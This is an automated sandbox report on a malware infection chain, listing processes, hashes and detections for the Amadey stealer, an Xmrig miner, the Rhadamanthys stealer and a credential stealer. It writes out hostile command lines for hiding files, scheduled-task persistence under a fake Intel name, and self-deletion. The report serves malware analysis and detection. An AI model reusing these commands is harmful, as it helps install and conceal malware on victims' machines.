Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2506817597.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:47:20
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe"
Imagebase:	0x400000
File size:	4'438'776 bytes
MD5 hash:	3A425626CBD40345F5B8DDDD6B2B9EFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:47:24
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7c1740000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:47:24
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	05:47:24
Start date:	18/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff75f780000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:47:24
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0x790000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:47:25
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x790000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:47:25
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x790000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:47:25
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x790000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:47:25
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x790000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:47:25
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x790000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:47:25
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x790000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x790000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff7e4ee0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff7d4a50000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7e4ee0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7e4ee0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff7c57f0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:47:26
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:47:27
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff63e6f0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:47:28
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff7f5ec0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 0000001F.00000003.2785095073.00000261B8C20000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:47:28
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.2790543601.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.2791427646.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.2791286176.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.2790543601.0000000000778000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000020.00000002.2790543601.0000000000737000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:47:28
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:47:28
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:47:29
Start date:	18/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff63e6f0000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:47:29
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe"
Imagebase:	0x610000
File size:	1'960'448 bytes
MD5 hash:	914BC5E4CA51B1218F63A8539614DCBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000024.00000003.2816649342.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000024.00000003.2813486090.00000000047C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000024.00000003.2816838324.0000000005110000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000024.00000003.2818001314.00000000049F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:47:32
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\svchost.exe"
Imagebase:	0xf10000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000025.00000002.2838016524.0000000003200000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000025.00000003.2822637005.0000000005300000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000025.00000003.2817891813.00000000009D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000025.00000003.2821727826.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:47:32
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6316 -s 656
Imagebase:	0x220000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:47:36
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe"
Imagebase:	0xf30000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 75%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:47:36
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:47:39
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe"
Imagebase:	0xf30000
File size:	765'568 bytes
MD5 hash:	8A9CB17C0224A01BD34B46495983C50A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:47:48
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe"
Imagebase:	0x90000
File size:	4'466'688 bytes
MD5 hash:	3287CE2D6BE3F77C5D1E7CC351F4AD5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	05:47:56
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Imagebase:	0xa80000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:47:56
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:47:59
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Imagebase:	0xa80000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:47:59
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe"
Imagebase:	0xa80000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000030.00000003.3302895820.0000000001332000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	05:48:01
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6ae840000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000031.00000003.3117966316.000001AE2B720000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:48:02
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000032.00000002.3209991687.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000032.00000002.3123702464.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000032.00000002.3123702464.0000000000D87000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000032.00000002.3209877428.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	05:48:02
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	05:48:02
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	24.4%
Total number of Nodes:	578
Total number of Limit Nodes:	21

Executed Functions

Function 000A5C83 Relevance: 26.0, APIs: 3, Strings: 11, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,t#,23EFEB74), ref: 000A5DCC
RegQueryValueExA.KERNEL32(t#,?,00000000,00000000,?,00000400,?,?,00000000,00000001,t#,23EFEB74), ref: 000A5DFA
RegCloseKey.KERNEL32(t#,?,?,00000000,00000001,t#,23EFEB74), ref: 000A5E06

Strings

invalid stoi argument, xrefs: 000A7090
Keyboard Layout\Preload, xrefs: 000A6054
00000419, xrefs: 000A6098
t#, xrefs: 000A5DB8, 000A5E00, 000A5DC5
stoi argument out of range, xrefs: 000A7081
t#, xrefs: 000A5DF4, 000A5EE0
VUUU, xrefs: 000A6F41
00000422, xrefs: 000A60C9
0000043f, xrefs: 000A612B
00000423, xrefs: 000A60FA
t#, xrefs: 000A5D67, 000A5EE6, 000A603B, 000A65F7, 000A6978, 000A6D86, 000A6F04

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
